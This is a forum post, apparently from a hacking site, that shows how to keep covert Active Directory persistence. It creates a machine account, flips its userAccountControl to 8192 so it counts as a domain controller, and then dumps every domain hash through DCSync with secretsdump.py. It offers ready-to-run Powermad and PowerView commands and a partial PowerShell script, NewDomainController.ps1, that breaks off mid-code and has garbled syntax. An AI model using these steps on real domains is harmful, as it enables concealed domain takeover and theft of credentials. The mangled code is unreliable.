Jump to content

Title: Using machine accounts to maintain domain permissions

Featured Replies

Posted

0x00 Introduction

Machine accounts are used by many technologies for permission elevation and horizontal movement, but there are also cases where domain permission persistence is established through machine accounts. This involves adding an arbitrary machine account to a privileged group (such as a domain administrator group) or modifying the userAccountControl property of the machine account to convert it to a domain controller. In both cases, an attacker can authenticate and perform privileged operations through a machine account, such as exporting all domain hashes through DCSync, etc.

@Sean Metcalf is the first to publicly disclose how to use a machine account as a domain persistence backdoor by adding a machine account to a high-privilege group, the same approach as adding a standard user account to a domain administrator group. In 2020, @Stealthbits published an article titled 《SERVER (UN)TRUST ACCOUNT》, showing another persistence technology that involves how to replicate Active Directory from a machine account. Although dumping password hashing through DCSync technology is not new and related operations may trigger appropriate alerts, using machine accounts to perform the same technology can achieve a more concealed purpose.

0x01  Basics of userAccountControl

In the active directory, userAccountControl is a required property for each account. This property is a bit field. Different flag bits represent different user information. The value of this property is the sum of all flag bit values.

1049983-20220902011527072-1200698617.png

The following figure is the possible flags given in Microsoft's official documentation, as well as their hexadecimal and decimal values. For details, please refer to: Use the UserAccountControl flags to manipulate user account properties.

1049983-20220902011528087-1699972102.png

There is a flag in the userAccountControl called SERVER_TRUST_ACCOUNT, which has a hexadecimal value of0x2000 and a decimal value of 8192, which is used to indicate that the account is a machine account of the domain controller. When the userAccountControl property of the machine account has the SERVER_TRUST_ACCOUNT flag bit set, Active Directory must set the primaryGroupId property of the account to the RID of the domain controller group. Therefore, you can grant domain controller privileges to normal domain member machines by simply changing the flag bit of userAccountControl.

0x02  Experimental Test 1

In actual combat, attackers can abuse the userAccountControl attribute to change the identity of ordinary domain machines into domain controllers, and cooperate with DCSync technology to achieve domain persistence. The specific method is relatively simple, which is to set the userAccountControl property value of the machine account to 8192.

(1) Execute the following command on the domain controller to create a machine account named PENTEST$ in the domain through Powermad, and set the account password to Passw0rd.

Import-Module .\Powermad.ps1# Set the password of the machine account

$Password=ConvertTo-SecureString 'Passw0rd' -AsPlainText -Force

# Create a machine account through the New-MachineAccount function

New-MachineAccount -MachineAccount 'PENTEST' -Password $($Password) -Domain 'pentest.com' -DomainController 'DC01.pentest.com' -Verbose 1049983-20220902011528877-1170782250.png

(2) Execute the following command to query the newly added machine account PENTEST$ through PowerView.ps1. It can be seen that the main group ID (primaryGroupId) of the account PENTEST$ is 515. This is the RID of the Domian Computers group, which means that PENTEST$ is still an ordinary domain member machine at this time, as shown in the figure below.

Import-Module .\PowerView.ps1

Get-NetComputer -Identity 'PENTEST' -Properties name, primaryGroupID, userAccountControl

1049983-20220902011529472-1045607856.png

(3) Execute the following command and set the userAccountControl property value of the PENTEST$ account to 8192 through PowerView.ps1, which will change the main group ID of the account to 516, as shown below. At this time, the main group of the PENTEST$ account is changed to Domain Controllers, that is, the domain controller group.

Import-Module .\PowerView.ps1

Set-DomainObject -Identity 'PENTEST$' -Set @{'userAccountControl'=8192} -Verbose

1049983-20220902011530260-1839817708.png

As shown in the figure below, the PENTEST$ account is already a domain controller at this time.

1049983-20220902011530940-590004397.png

(4) Since it has the required privileges and the account password is known, the domain user hash can be exported directly through secretsdump.py on a normal domain host to execute DCSync operation, as shown in the figure.

python3 secretsdump.py pentest.com/PENTEST\$:[email protected] -just-dc

1049983-20220902011532318-2096221811.png

According to the above utilization process, a simple PowerShell script NewDomainController.ps1 was written. The following is the complete code :

Function NewDomainController {

#

.SYNOPSIS

This script will create a new domain controller account in the domain for the purpose of domain persistence.

.DESCRIPTION

In Active Directory, userAccountControl is a necessary attribute of each account. This attribute is a bit

field. Different flags represent different user information. The value of this attribute is the sum of all

flags. There is a flag named SERVER_TRUST_ACCOUNT in userAccountControl, whose hexadecimal value is0x2000

and decimal value is 8192, which is used to indicate that the account is the machine account of the domain

controller. When a machine account's userAccountControl attribute has the SERVER_TRUST_ACCOUNT bit set,

Active Directory must set the account's primaryGroupId attribute to the RID of the domain controller group.

So just change userAccountControl to grant domain controller privileges to normal domain member machines.

.LINK

https://whoamianony.top/domain-persistence-machine-accounts/

.PARAMETER Domain

Specifies the domain name, if omitted, the domain name will be obtained automatically.

.PARAMETER DomainController

Specifies the FQDN of the domain controller.

.PARAMETER MachineAccount

Specifies the name of the machine account to be created.

.PARAMETER Password

Specifies the password of the machine account to be created.

.OUTPUTS

Output will be shown in the console

.NOTES

Version: 0.1

Author: WHOAMI

Date: 01/18/2022

.EXAMPLE

NewDomainController -MachineAccount 'PENTEST' -Password 'Passw0rd' -Domain 'pentest.com' -DomainController 'DC01.pentest.com'

#

param (

[Parameter(Mandatory=$false)]

[ValidateNotNullOrEmpty()]

[string]$Domain,

[Parameter(Mandatory=$false)]

[ValidateNotNullOrEmpty()]

[string]$DomainController,

[Parameter(Mandatory=$false)]

[ValidateNotNullOrEmpty()]

[string]$MachineAccount,

[Parameter(Mandatory=$false)]

[ValidateNotNullOrEmpty()]

[string]$Password

)

function FormatStatus([string]$Flag, [string]$Message) {

If($Flag -eq '1') {

Write-Host '[+] ' -ForegroundColor:Green -NoNewline

Write-Host $Message

}ElseIf($Flag -eq '0') {

Write-Host '[-] ' -ForegroundColor:Red -NoNewline

Write-Host $Message

}

}

$null=[System.Reflection.Assembly]:LoadWithPartialName('System.DirectoryServices.Protocols')

if($Password)

{

$SecurePassword=$Password | ConvertTo-SecureString -AsPlainText -Force

$PasswordBSTR=[System.Runtime.InteropServices.Marshal]:SecureStringToBSTR($SecurePassword)

$PasswordClearText=[System.Runtime.InteropServices.Marshal]:PtrToStringAuto($PasswordBSTR)

$PasswordClearText=[System.Text.Encoding]:Unicode.GetBytes(''' + $PasswordClearText + ''')

}

if(!$DomainController -or !$Domain)

{

try

{

$CurrentDomain=[System.DirectoryServices.ActiveDirectory.Domain]:GetCurrentDomain()

}

catch

{

FormatStatus 0 '$($_.Exception.Message)'

throw

}

if(!$DomainController)

{

$DomainController=$CurrentDomain.PdcRoleOwner.Name

FormatStatus 1 'Get Domain Controller: $DomainController'

}

if(!$Domain)

{

$Domain=$CurrentDomain.Name

$Domain=$Domain.ToLower()

FormatStatus 1 'Get Domain Name: $Domain'

}

}

$_MachineAccount=$MachineAccount

if($MachineAccount.EndsWith('$'))

{

$SAMAccountName=$_MachineAccount

$_MachineAccount=$_MachineAccount.SubString(0,$_MachineAccount.Length - 1)

}

else

{

$SAMAccountName=$_MachineAccount + '$'

}

FormatStatus 1 'Get SAMAccountName: $SAMAccountName'

$DistinguishedName='CN=$_MachineAccount,CN=Computers'

$DC_array=$Domain.Split('.')

ForEach($DC in $DC_array)

{

$DistinguishedName +=',DC=$DC'

}

FormatStatus 1 'Get DistinguishedName: $DistinguishedName'

FormatStatus 1 'Start creating a machine account $MachineAccount'

$identifier=New-Object System.DirectoryServices.Protocols.LdapDirectoryIdentifier($DomainController,389)

$connection=New-Object System.DirectoryServices.Protocols.LdapConnection($identifier)

$connection.SessionOptions.Sealing=$true

$connection.SessionOptions.Signing=$true

$connection.Bind()

$request=New-Object -TypeName System.DirectoryServices.Protocols.AddRequest

FormatStatus 1 'Set the DistinguishedName property of the $MachineAccount account to $DistinguishedName'

$request.DistinguishedName=$DistinguishedName

$request.Attributes.Add((New-Object 'System.DirectoryServices.Protocols.DirectoryAttribute' -ArgumentList 'objectClass','Computer')) $null

FormatStatus 1 'Set the DistinguishedName property of the $MachineAccount account to $SAMAccountName'

$request.Attributes.Add((New-Object 'System.DirectoryServices.Protocols.DirectoryAttribute' -ArgumentList 'SamAccountName',$SAMAccountName)) $null

FormatStatus 1 'Set the userAccountControl property of the $MachineAccount account to 8192'

$request.Attributes.Add((New-Object 'System.DirectoryServices.Protocols.DirectoryAttribute' -ArgumentList 'userAccountControl','8192')) $null

FormatStatus 1 'Register the DnsHostName of the $MachineAccount account as $_MachineAccount.$Domain'

$request.Attributes.Add((New-Object 'System.DirectoryServices.Protocols.DirectoryAttribute' -ArgumentList 'DnsHostName','$_MachineAccount.$Domain')) $null

FormatStatus 1 'Start registering SPN for $MachineAccount account: HOST/$_MachineAccount.$Domain, RestrictedKrbHost/$_MachineAccount.$Domain'

$request.Attributes.Add((New-Object 'System.DirectoryServices.Protocols.DirectoryAttribute' -ArgumentList 'ServicePrincipalName','HOST/$_MachineAccount.$Domain','RestrictedKrbHost/$_MachineAccount.$Domain','HOST/$_MachineAccount','RestrictedKrbHost/$_MachineAccount','RestrictedKrbHost/$_MachineAccount')) $null

FormatStatus 1 'Set the password for the $MachineAccount account to $Password'

$request.Attributes.Add((New-Object 'System.DirectoryServices.Protocols.DirectoryAttribute' -ArgumentList 'unicodePwd',$PasswordClearText)) $null

try

{

$connection.SendRequest($request) $null

FormatStatus 1 'Create machine account $MachineAccount successfully'

}

catch

{

FormatStatus 0 '$($_.Exception.Message)'

if($error_message -like '*Exception calling 'SendRequest' with '1' a

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.
Note: Your post will require moderator approval before it will be visible.

Guest
Reply to this topic...

Important Information

HackTeam Cookie PolicyWe have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.